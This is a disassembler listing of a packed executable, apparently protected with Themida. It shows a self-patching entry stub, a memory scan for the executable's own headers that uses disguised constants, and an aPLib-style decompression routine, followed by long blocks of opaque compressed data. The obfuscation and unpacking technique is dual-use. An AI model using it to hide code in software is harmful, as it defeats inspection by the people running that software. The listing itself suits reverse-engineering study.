		dd 455E29D4h, 41B46h, 56D10h, 0AB172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E6265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00544431 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054786A SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00547AE0 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 00547B3C SIZE 000000A3 BYTES
; FUNCTION CHUNK AT 00547C15 SIZE 0000002D BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E6086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E6041
		popa
		jmp	short loc_4E6076
; ---------------------------------------------------------------------------
a7N		db 'Û-7`N',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4E6041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4E604E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E606D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E6074

loc_4E606D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E604E
; ---------------------------------------------------------------------------

loc_4E6074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4E6076:				; CODE XREF: start+1Bj
		jmp	loc_4E6265
; ---------------------------------------------------------------------------
		db 3
		dd 626AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4E6086:				; CODE XREF: start+8j
		mov	eax, offset loc_544431
		mov	ecx, offset word_4E626A
		push	eax
		push	ecx
		call	sub_4E611B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E6265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E611B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4E6127:				; CODE XREF: sub_4E611B:loc_4E613Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4E6132:				; CODE XREF: sub_4E611B+7Aj
					; sub_4E611B+C3j ...
		add	dl, dl
		jnz	short loc_4E613B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E613B:				; CODE XREF: sub_4E611B+19j
		jnb	short loc_4E6127
		add	dl, dl
		jnz	short loc_4E6146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E6146:				; CODE XREF: sub_4E611B+24j
		jnb	short loc_4E6197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E6153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E6153:				; CODE XREF: sub_4E611B+31j
		jnb	loc_4E6238
		add	dl, dl
		jnz	short loc_4E6162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E6162:				; CODE XREF: sub_4E611B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E616D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E616D:				; CODE XREF: sub_4E611B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E6178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E6178:				; CODE XREF: sub_4E611B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E6183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E6183:				; CODE XREF: sub_4E611B+61j
		adc	eax, eax
		jz	short loc_4E618D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4E618D:				; CODE XREF: sub_4E611B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E6132
; ---------------------------------------------------------------------------

loc_4E6197:				; CODE XREF: sub_4E611B:loc_4E6146j
		mov	eax, 1

loc_4E619C:				; CODE XREF: sub_4E611B:loc_4E61B0j
		add	dl, dl
		jnz	short loc_4E61A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E61A5:				; CODE XREF: sub_4E611B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E61B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E61B0:				; CODE XREF: sub_4E611B+8Ej
		jb	short loc_4E619C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E61E3
		mov	ecx, 1

loc_4E61C0:				; CODE XREF: sub_4E611B:loc_4E61D4j
		add	dl, dl
		jnz	short loc_4E61C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E61C9:				; CODE XREF: sub_4E611B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E61D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E61D4:				; CODE XREF: sub_4E611B+B2j
		jb	short loc_4E61C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E6132
; ---------------------------------------------------------------------------

loc_4E61E3:				; CODE XREF: sub_4E611B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4E61F1:				; CODE XREF: sub_4E611B:loc_4E6205j
		add	dl, dl
		jnz	short loc_4E61FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E61FA:				; CODE XREF: sub_4E611B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E6205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E6205:				; CODE XREF: sub_4E611B+E3j
		jb	short loc_4E61F1
		cmp	eax, 7D00h
		jnb	short loc_4E6228
		cmp	eax, 500h
		jb	short loc_4E6223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E6132
; ---------------------------------------------------------------------------

loc_4E6223:				; CODE XREF: sub_4E611B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E622B

loc_4E6228:				; CODE XREF: sub_4E611B+F1j
		add	ecx, 2

loc_4E622B:				; CODE XREF: sub_4E611B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E6132
; ---------------------------------------------------------------------------

loc_4E6238:				; CODE XREF: sub_4E611B:loc_4E6153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E6259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E6132
; ---------------------------------------------------------------------------

loc_4E6259:				; CODE XREF: sub_4E611B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E611B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4E6265:				; CODE XREF: start:loc_4E6076j
					; start+9Dj
		jmp	loc_544431
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E626A	dw 71E9h		; DATA XREF: start+77o
		dd 14BE134h, 1C30FCBAh,	21312D34h, 22475EDFh, 9C578D70h
		dd 5F552301h, 5E083725h, 67032469h, 1ED07D2Ch, 59558504h
		dd 4703B892h, 8733FCFFh, 0BDEF42B8h, 0EFAFD868h, 8039837h
		dd 36915777h, 1DE8570h,	6D656854h, 28616469h, 42AAFFF0h
		dd 22EEBE01h, 0AF1EE121h, 73655201h, 0CC726174h, 2EE27041h
		dd 0C2F978F4h, 7145561Fh, 35F917C2h, 5EFF0817h,	55DD9CB4h
		dd 0E10311E6h, 8BF1EF0Fh, 60D4C8C5h, 5D88E870h,	43ED0E81h
		dd 89210634h, 84204D95h, 2921B50Dh, 0E098542h, 0DABD8303h
		dd 74010E15h, 0C8E88B0Ch, 0A9B4B8E2h, 70F1C29Eh, 10C72444h
		dd 60F053Eh, 0A3E8456Ah, 9A680729h, 0A5078374h,	250A01DFh
		dd 0E90A894Bh, 14E910D5h, 7DECA502h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B003531h
		fcmovb	st, st(7)

loc_4E6353:				; CODE XREF: Themida_:004E6370j
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		repne sbb dword	ptr [ebx-7900EFB7h], 12h
		inc	ebx
		jmp	short loc_4E6353
; ---------------------------------------------------------------------------
		dw 3736h
		dd 412661DCh, 4004C2C9h, 7CC48146h, 4902FF68h, 8D407AE4h
		dd 5D8B8045h, 85C70814h, 8D504419h, 0C3D10AA0h,	4118880Ah
		dd 818A0B89h, 5D2006BDh, 27E37529h, 8EBA8D42h, 8075C064h
		dd 49BB0E8Ah, 0B8005BF4h, 785437ABh, 0FFCD0D3h,	754B08C3h
		dd 0C3AFB0F7h, 4A465247h, 0F92A4646h, 61D12B42h, 75D0A08Ah
		dd 0EE8AFDF0h, 0A4DFC45h, 3CAD04EBh, 3E80468Ch,	0BA53F740h
		dd 61346E84h, 7FEB0C7Dh, 0CCF83E90h, 84F0126Dh,	10F40ECAh
		dd 65C14A81h, 0D64004F0h, 39E0D1F8h, 2860C203h,	1C8ADB33h
		dd 0FB80301Ch, 0A0A72CCh, 5773D39h, 67F2EB3Eh, 0F6611422h
		dd 667F0A0Dh, 5F1E086Fh, 0AC0AC34Eh, 30411A10h,	460A0B72h
		dd 24DE0677h, 5D0118A2h, 83F4ECF0h, 21B7D73h, 370CB072h
		dd 66A576C0h, 0F84126AAh, 6A8D07CEh, 553B00A8h,	78820FFCh
		dd 0C1B0BDA9h, 5038BEAAh, 0B9E008BAh, 0FCA870E0h, 3640C0BDh
		dd 470F01FEh, 0B9FA7549h, 0DC6AC522h, 617D01BBh, 0EB82F11Dh
		dd 8E6002B7h, 7138AF86h, 65513807h, 0DC45363Fh,	13EF268Ah
		dd 5940E4E9h, 67C6D081h, 10DA8C06h, 771B1587h, 0D80BC0EAh
		dd 247D180Ch, 2795941Fh, 0B8B429C0h, 90DABB9Ah,	0C32C01D3h
		dd 891052F9h, 54378E03h, 0F174395Ch, 1CA35724h,	34CB8Ch
		dd 4E398267h, 0F3F765Bh, 3D510710h, 3BC7D104h, 1D424666h
		dd 582E0975h, 0EC480E11h, 9065E40Ah, 84005F06h,	968E05C5h
		dd 53F9C8C2h, 0A8C204F0h, 1B718C29h, 0EE78205h,	0FF61A476h
		dd 477812Bh, 341D2280h,	33F984C1h, 0BC207532h, 0AEE0E3Fh
		dd 230EFCCh, 0EC7141E6h, 0CC7F8C33h, 1940F2FFh,	4AE9FD45h
		dd 0C4620060h, 254D8C52h, 0AA821011h, 5AAB99B1h, 141384A1h
		dd 5EC1E256h, 55CDEE82h, 8B030881h, 0B9548A9Fh,	97234013h
		dd 12843A5h, 0D482DF01h, 303FA498h, 0F88E0D20h,	0F6DA618Dh
		dd 0EC76AFECh, 6B0605E2h, 4E95301h, 5B211C45h, 558A85C4h
		dd 45AB0C25h, 21C01C08h, 8DC45343h, 155C000Eh, 393E7AFDh
		dd 0AA03CC81h, 8610CA0Bh, 2E2D4674h, 0D220B2B0h, 0FE328901h
		dd 14EA1F6Ch, 4F82180h,	77A62D51h, 4789D100h, 60282B50h
		dd 111A0230h, 0EAC4211Ch, 0D4007D44h, 0AEF00E79h, 0F6DD024Bh
		dd 692C03CFh, 0F9BF7AB0h, 0A555CBC0h, 3E86C80Ah, 21AB51Eh
		dd 0EAA3233Dh, 6011751Bh, 2310B09h, 533B4E4Bh, 1F9329EFh
		dd 1F10C43Fh, 7E8ADFC0h, 0EA1A3331h, 191D8012h,	7B093E0Ah
		dd 0CAF44Ch, 146F265Fh,	0F5C868E4h, 0DE38A262h,	0FE9021Ch
		dd 0C2D83120h, 2BE3071Ah, 7319457Dh, 46A808D5h,	6018E08Ch
		dd 692D0BE9h, 52A6009Ah, 0F8635EE5h, 61077D38h,	0DE6FBF67h
		dd 0B00E2333h, 0D5C621Bh, 6941C882h, 0E6D2D838h, 29E9F1Eh
		dd 8B096768h, 575FC7h, 6C9DE11Eh, 935E05Ch, 5B4FB13Fh
		dd 0C0C1FC04h, 6CE5961h, 83F62B3Bh, 0E06A29F3h,	0A3D1E82Fh
		dd 0B9B333Eh, 61A1BC18h, 8B14530h, 0A6801410h, 10BB40A1h
		dd 0FA150047h, 0B3373097h, 901DE04h, 2C01209Bh,	31820AE9h
		dd 517DB7D1h, 7C287143h, 0E03BDBCFh, 590095Ch, 2760738h
		dd 0F69FC23h, 0EF84CF1Ch, 4FD04C3Dh, 0D2268102h, 0A10E18DEh
		dd 61241C99h, 8C241B11h, 241128h, 0BB461F2Fh, 95E7FEh
		dd 0C8BA6F2Ch, 24D4E967h, 0A9A1D900h, 0DFCC8226h, 6D520BEBh
		dd 862069EAh, 997F5F21h, 75D31E00h, 30EC2CC0h, 0C931839h
		dd 6D11134h, 9C83493Eh,	0C540E6B9h, 324B5B57h, 6B391DC6h
		dd 58283144h, 310880B6h, 7667B181h, 0C480033h, 11F76468h
		dd 5AECD591h, 13E61B06h, 3831DCh, 0F2D0D116h, 7B2BFF6Bh
		dd 9FA13900h, 3EE9C7D8h, 29846382h, 48C33AECh, 6E786062h
		dd 10B51143h, 6A0AC8h, 0EF9513DBh, 6BD9664Ch, 5200AAF6h
		dd 0B5882464h, 9E1620h,	349FC38Ch, 2DB4738Bh, 33EE5403h
		dd 4C08EA4Eh, 2E0039D8h, 3B1050D2h, 3CA0383Ch, 3A883370h
		dd 92E08B45h, 0F13D197h, 0F91D6B13h, 0E4CF2DC7h, 0A2163030h
		dd 391C098Ch, 0F4807729h, 37D484C0h, 0C58149C0h, 0ADB516h
		dd 0CE716043h, 1582929Ch, 4B1F89E4h, 0F2D5B7C2h, 0D24C0084h
		dd 3B1A7CE4h, 24860795h, 2C13F5D1h, 1C009321h, 0E50DACA4h
		dd 159519h, 0E0ED5165h,	73BC55F5h, 481DC418h, 0E6C3BF0h
		dd 0E9B6D244h, 8B4CCE5Ch, 54A1F5A3h, 5A07D4B0h,	0B459AF18h
		dd 863BE9h, 82BE2864h, 6F91892Bh, 3050B50Fh, 0D2B8C011h
		dd 0C0BDF595h, 8BEB31D9h, 0AD01F171h, 9AD8772Bh, 0E5E0EE32h
		dd 5C864892h, 0D467B306h, 0D00318A4h, 28B2AF3Ch, 9C8C0C0h
		dd 3AB57A4Ah, 0EB30B6EAh, 0B758C3E1h, 855661C0h, 3147D93h
		dd 0B838A17Bh, 45F8F8F0h, 0AE03655Ah, 0CC734880h, 0F0C6E9h
		dd 1610A0C3h, 3FE7C79Dh, 0AC7768C6h, 5D20C5BEh,	8E8403Ch
		dd 0CBD4BD2Ah, 80D8C23Ch, 3E255260h, 3883CDFh, 69C8D738h
		dd 500C70C3h, 0A1EEB6B7h, 2DC43AFBh, 131B5062h,	0BD25DC90h
		dd 3F6A9900h, 66A376DDh, 0E73838FDh, 738810B0h,	47408DA4h
		dd 0F3280619h, 0B83765B4h, 53E63480h, 0D0187F3Eh, 5A019E98h
		dd 0DFD21C8Bh, 5DECABE5h, 49C1C033h, 80DA18B2h,	1122BE00h
		dd 0C2B94B4Fh, 3BD32A50h, 103C00D0h, 566976C1h,	0C8E65DB3h
		dd 5746AD01h, 0AFF5D5CFh, 0A310034h, 360BC73Dh,	3AF94298h
		dd 0CBB79D00h, 9718C01Ah, 0E3F39B8h, 7CA81C98h,	7F7C339Eh
		dd 4196FCA9h, 19BFBCh, 245D226h, 41B71B18h, 8C42DA77h
		dd 91CCC881h, 0F447034Dh, 18690888h, 18637CACh,	0DC049FC6h
		dd 0E8510272h, 18BC10C8h, 80060311h, 19ECCE29h,	71C144A0h
		dd 3C308A48h, 0F270C0ABh, 2FED2h, 1D78D133h, 3FDA8620h
		dd 55E86D00h, 5D49FFC1h, 3AF800B3h, 9371F9FBh, 1F0E9805h
		dd 2EB7B685h, 0A39E805Ch, 39B92BEh, 0A4FBE056h,	0FFC0BCDEh
		dd 6BF8F5F0h, 80FD5E00h, 15D17BC6h, 93793CF9h, 70E53580h
		dd 75629A21h, 83AAB53Bh, 0B74E3C86h, 7B90AD85h,	13AF2639h
		dd 31C53080h, 0E0995D54h, 8A09476Ah, 90463B4Ch,	0A9F31444h
		dd 1FD5EB88h, 70AE4AECh, 594418A2h, 0D59529B3h,	8CCE6100h
		dd 0C38A77DBh, 4AAA1D64h, 0A52E808Eh, 76CBB58h,	0C823E528h
		dd 859B920h, 479FDF95h,	6487115h, 1DF7BF3Dh, 519B3C18h
		dd 45B7AF12h, 403AD30Ch, 0C427DCD0h, 0BF007107h, 20C3F615h
		dd 99A64FCh, 0B4E92B5Dh, 10612C12h, 807613D9h, 1C3CBA26h
		dd 0A0894Dh, 7CD68DB7h,	0BC7B3A71h, 0B4E89828h,	45414F00h
		dd 8C50174Bh, 24B9784Ch, 282CE113h, 0C5902044h,	0ABDFD000h
		dd 8BCEE2D2h, 64C47CF3h, 8C307858h, 67598D8h, 6FB0E01Eh
		dd 341D7BDFh, 0B2F5D7C2h, 0E6A4A4BAh, 57E864C0h, 39756F39h
		dd 0C84D080h, 3D2A3AEAh, 5B0CCC32h, 80B33067h, 0DF411A2Eh
		dd 382998DBh, 1B0CBC80h, 54B0F79Bh, 0E66032F8h,	0F55C12D9h
		dd 0DC891BBh, 0E059ADB7h, 4A0DC44Bh, 4945D3D7h,	0E1F2C600h
		dd 0C0E802FBh, 4161CE64h, 0DE013840h, 8915590Fh, 0FAB7251Fh
		dd 443D7091h, 2BC3014h,	1F00E078h, 40F8523Eh, 80B58Bh
		dd 505A39DEh, 6AEF928Dh, 1F0B70B1h, 481C0073h, 92B1BCEBh
		dd 0F828FC18h, 5C0530ACh, 5FB31A10h, 84937C28h,	397D1F06h
		dd 61B93077h, 81C83E64h, 7C69F076h, 0C15819C6h,	0DDCC1DF9h
		dd 0FCD10073h, 0E5433A9Ch, 6F3AB0A4h, 41884118h, 649E9C6Ah
		dd 6808FC13h, 0B5E68122h, 9EC4D86Fh, 0AB49B630h, 0C640A0E8h
		dd 48B3B778h, 2904B083h
		dd 46AEB8F5h, 713D5Dh, 0EB9DEF04h, 847580BFh, 381BDD00h
		dd 0C73B2C1h, 7DF607D1h, 70F04313h, 7C73AD2h, 0FB8820EFh
		dd 551DCC14h, 0F1E51488h, 614A35A0h, 3D753081h,	1032C509h
		dd 640C77B3h, 82B8B0A3h, 0E402E920h, 0FF4C20EBh, 31C0375Ch
		dd 0E6DACEB2h, 0DBBC0011h, 1B9367D5h, 2270878Fh, 2B37AFF4h
		dd 0D180903Bh, 4D17E79Ch, 207FF016h, 0C5089BCEh, 3B41F7C7h
		dd 4E65016h, 4B730E4h, 0A8CC7FD0h, 0B6D10FECh, 0E4809EE1h
		dd 0C3D4872Bh, 0BE6F28C0h, 31ACF32Ch, 0F6585741h, 543213h
		dd 2517D59Eh, 1C30903h,	92B8CAFEh, 63BAF550h, 0B3AF0B40h
		dd 0CF94102Eh, 0AEB7806Ch, 0D349DD62h, 3B9CA03Fh, 0F84AF956h
		dd 8ED20742h, 0A06CE211h, 763053B2h, 0A84BBA28h, 3305EC00h
		dd 371138EEh, 7FB780DBh, 0B886D230h, 1BAF3964h,	60EAEBFFh
		dd 1C4640D4h, 2CCBEF6h,	81C541A2h, 94608A4Ah, 83802B8Dh
		dd 54715528h, 44D79C20h, 0C950BC12h, 0DB20AF0Ch, 274B90Eh
		dd 110F4120h, 0A3B564C0h, 8B293009h, 7F18A4E6h,	3134D346h
		dd 0C9ACE500h, 529456AEh, 0BF5A2A4Ch, 42F7009Ch, 14D260CDh
		dd 0A8A458CBh, 56EE000h, 2439B3DEh, 2D3C253Bh, 7B716421h
		dd 23EAF9E5h, 0D3800BCh, 13AFF7BCh, 0C884A927h,	21801361h
		dd 0D7B1FA66h, 670011A3h, 732DC7D6h, 128841Fh, 9FA8E7EFh
		dd 80B25872h, 61E20D31h, 0CBA9BDh, 0A2E899F9h, 0A4945701h
		dd 0F7C89A00h, 3CCC98F1h, 7EBF38F8h, 0ACFB2882h, 9C803521h
		dd 80F46E91h, 0DA132E11h, 741E2D00h, 6310B5AFh,	4BBED700h
		dd 0C2E11F69h, 17C50029h, 0BFF6483Eh, 390C7437h, 1A479D6Fh
		dd 0ACFB5C64h, 9A1B010h, 10B9B6F3h, 6236BFACh, 46FC306Bh
		dd 3811CC0Ah, 426D4B7Ch, 0CF413008h, 0D3F938C8h, 0F6193660h
		dd 0EA34AC68h, 38920603h, 40D16ED4h, 55FDFCABh,	8708F4A8h
		dd 0BC029628h, 40031F41h, 14718C04h, 803101C4h,	9A8F0E07h
		dd 606099D0h, 0BD805C59h, 0B09F5DE7h, 5112773Eh, 0AB944E6Ah
		dd 0C4730591h, 0DC9053E9h, 81178BAFh, 2062D4h, 402A81E1h
		dd 5AFEEBh, 3D7CEDAFh, 450BDEB0h, 0BF26EA0Eh, 0E00A47DFh
		dd 0D8CAA873h, 48E466F1h, 3E224CC5h, 0F6876107h, 0B6F010B3h
		dd 0F02093Ch, 7A1D7352h, 2B692923h, 990282FBh, 1B41B6ECh
		dd 80E0EB17h, 30F0B27h,	83DAEEF1h, 293F40D4h, 30858182h
		dd 2521ABF9h, 6855CCh, 0FBE46ADAh, 39E6769Fh, 0B763850Bh
		dd 79418B8h, 0E1EB0045h, 6B4D10DCh, 0C5049570h,	0B5F60633h
		dd 1A50082h, 0E8134509h, 0AA5D200Fh, 0F8B30BC8h, 871C0142h
		dd 0D000A87Ch, 61C13A5Dh, 9A7AA2BDh, 0F611D4h, 5874E32Ch
		dd 2F2EE5E2h, 0FCEF4112h, 6B8A0C00h, 0EA82557h,	0E7C542A1h
		dd 3EC04A2Ah, 19296F18h, 9C01ABE0h, 0C2AC06B3h,	3C243BB1h
		dd 145B4441h, 15D9F860h, 1D567801h, 10BF17Ch, 0CF337050h
		dd 0A846E86Bh, 98ED6E38h, 5A31F913h, 32081F8Ah,	7F1F8076h
		dd 22B3BEFCh, 3D634000h, 3EF02688h, 41D3206Ch, 0DD28EC00h
		dd 9E298393h, 0BDB628C5h, 0A3DC018Ch, 591F640Ah, 6AA09EA1h
		dd 0EED62140h, 3B16D72Fh, 0E314C093h, 1FB10492h, 3A2500BFh
		dd 9D280097h, 856575BAh, 0E506F495h, 21E28217h,	14EE3C18h
		dd 40EDA518h, 0A13E717Ah, 55F40099h, 2C32E3Bh, 0F23E0027h
		dd 0EC29FB07h, 0A109423h, 79003109h, 0F506CD65h, 6F6F93E5h
		dd 1FE6868h, 0E1AD39DCh, 6A44E49Ch, 0C3000CF6h,	12BB1A4Dh
		dd 3D6F9D85h, 0A280E33Ch, 339CE520h, 5061F571h,	35E9E480h
		dd 0C058EEE0h, 0D8966910h, 603E0EAh, 77366DFFh,	52B7C9C4h
		dd 0ADA2891h, 80BEC6E6h, 0F05ED901h, 70822253h,	81C19269h
		dd 1D8A2880h, 0C052D4Fh, 9AC6359Dh, 6EBAC08h, 0E030192Ah
		dd 54A7773Eh, 6654D508h, 4AEC68B4h, 0FB1F41DEh,	0FC09915h
		dd 6A77E7D7h, 0FF8384C2h, 7EF2713Bh, 7C332679h,	21C61893h
		dd 7135B192h, 820559E1h, 1842993Ch, 0A1DE221Fh,	8E5F6FD8h
		dd 757191h, 1DAC853Ah, 38223E11h, 2900D107h, 0EBBF4059h
		dd 2A309437h, 0A74D41D6h, 18A249C1h, 0AF9D82Eh,	82A8B999h
		dd 9BE1845Bh, 86E43640h, 11EA98A1h, 0BC080568h,	12B1D522h
		dd 4312C24Ah, 7677E020h, 5EA39C8Bh, 0B8EA98A8h,	0F41D35FEh
		dd 338F1B25h, 0FBB97B9Fh, 9DC8226Eh, 34A92000h,	6FAFE918h
		dd 0E861CEC8h, 0E5710A3Eh, 0AC898790h, 0A3D101FAh, 9D06313Dh
		dd 28EB1F18h, 299A3063h, 0C128E118h, 84F080A7h,	0E3F13B58h
		dd 5CFC7801h, 0D317D4AEh, 1515BC5Ch, 1A0BA1Eh, 0A9250436h
		dd 405AFF6Eh, 13AEAB03h, 3979B917h, 1F00DBECh, 9B8A4BB8h
		dd 0C4E8A7F9h, 9149EA91h, 95BDD144h, 0AC3CBE31h, 0C4702AAFh
		dd 0D82F15A4h, 2054D483h, 34158A86h, 3CBCCA90h,	170748F8h
		dd 4C1BC6F6h, 0C1A1F3h,	0CE7F61D0h, 34B9210Ah, 86BA8F14h
		dd 88BC4748h, 61FBD8E2h, 5498B454h, 89069E8h, 86FB113h
		dd 881E944Eh, 3EA304BBh, 542D4AFCh, 0D88F310h, 6B471680h
		dd 0C0BC1C13h, 0E8AD3D71h, 2FFE356Ch, 64CC33Dh,	0EC24C244h
		dd 8870A820h, 0EAAE0277h, 0FB72B198h, 0E93E1464h, 6B53FCBCh
		dd 0BCD02920h, 0E4645706h, 5F172430h, 275129Ch,	0A84DA4A0h
		dd 29995C43h, 311025A2h, 3F388397h, 0A813E452h,	714686h
		dd 15EDF3Eh, 825FDE3Bh,	41B9F800h, 9A607E5Ch, 43350016h
		dd 10CC771Ah, 8C12BAFCh, 8700E475h, 14594245h, 71FAC8h
		dd 0C562CC11h, 1628F105h, 94552F01h, 0E4357E2h,	0C10CDECh
		dd 7851C4FAh, 441CD940h, 0D79F4637h, 0D23D6F40h, 76D0F85Bh
		dd 3A5C00FEh, 57E69D19h, 760059D4h, 0C4055ECBh,	0E46285h
		dd 3889DBFFh, 1AD74146h, 4236CB1h, 0F8A0FA55h, 328BB10Ch
		dd 0D8374824h, 0D047721Dh, 0A01FF853h, 4A4573FEh, 6DE700CFh
		dd 0BE2C5043h, 0BD030111h, 492344Eh, 5A4000B0h,	73579A3Eh
		dd 5B00C772h, 2FFF07F5h, 4D1441h, 0AE750E94h, 1BC455EDh
		dd 40EAA8E8h, 1089E440h, 3435B30h, 60DA7275h, 0EDB0EDF3h
		dd 9D560039h, 50C7A2FAh, 0B00F848h, 737EA8F1h, 2E0392h
		dd 1247309Ch, 4377609Ah, 0C14CD874h, 0EB945238h, 3DC0AB0h
		dd 445D3D00h, 727111C8h, 0F35B00CCh, 5946FF05h,	8D001913h
		dd 1ACA6DE6h, 0BBF43h, 614AD7FCh, 8CAFE58Fh, 7F712F00h
		dd 12015AD4h, 0AB60FBD0h, 6F3500ACh, 539C5C4Ah,	70ECAB51h
		dd 0FF1FBC03h, 43346D6h, 3A8AB140h, 1640078h, 5BCD3Dh
		dd 41B2B9EDh, 0A84B3775h, 0CA6A2107h, 1B302C56h, 351A7FFh
		dd 0DF4F9062h, 808A4689h, 3B7499C0h, 0ED4DCD05h, 8C9ABFC3h
		dd 0AB55C3AFh, 3C44E80Bh, 0C8110059h, 0DA467163h, 0C43A8152h
		dd 3D7210FFh, 0C959007Fh, 13B87657h, 5105BA2Eh,	0E309E461h
		dd 3D1C8080h, 6A5A0EDBh, 0C183CA42h, 1AB0BA06h,	931D5746h
		dd 615D3621h, 5974BDC0h, 357EB9h, 8BAF4F91h, 0CE3A7737h
		dd 73455300h, 0F98265DEh, 715400FEh, 219E4C14h,	4EC0D534h
		dd 0C0EF1FCAh, 0E6780055h, 328DBA4Fh, 0DD008045h, 9F3D6D57h
		dd 7C03F363h, 101A2CF8h, 0A3A039ACh, 1170C4FAh,	84CD626h
		dd 0FDDF0468h, 3CF46B00h, 0FB4575h, 0EF484E3Ah,	0BF467360h
		dd 0AC341E52h, 415A0031h, 47580ECBh, 757462DEh,	3299F05h
		dd 1C70DC7Eh, 0C093E8EAh, 0A9363210h, 0BA0EACE9h, 0E0D590F4h
		dd 0DF9CE5FFh, 0F60908EAh, 35001761h, 0EF9270AEh, 49E760D6h
		dd 457C3203h, 9C5E8903h
		dd 2D5662F2h, 74801708h, 577D6A22h, 819EE930h, 6F3E5Dh
		dd 35971D08h, 0E5612C0Ch, 21A1E930h, 990483Bh, 455C4621h
		dd 0BD220C50h, 0A1760332h, 96B5A93Dh, 46E3B000h, 20573EACh
		dd 40A65F7Fh, 0BBF58E58h, 0C1E40A9Dh, 6B3FBF15h, 0AAE881Ch
		dd 808CBE0Bh, 3B68933h,	0E437F4B7h, 0D9124E6h, 8041ED16h
		dd 7C4077B1h, 0F074BC63h, 82210CA2h, 6FA02C91h,	985FB5E6h
		dd 7B72A047h, 1A430078h, 46221B57h, 894DD203h, 62010E25h
		dd 84FD9858h, 6A3CA321h, 0A700BC78h, 1B057D71h,	23259843h
		dd 777040C9h, 92753265h, 40F2C168h, 3AB71C00h, 0CFA017E2h
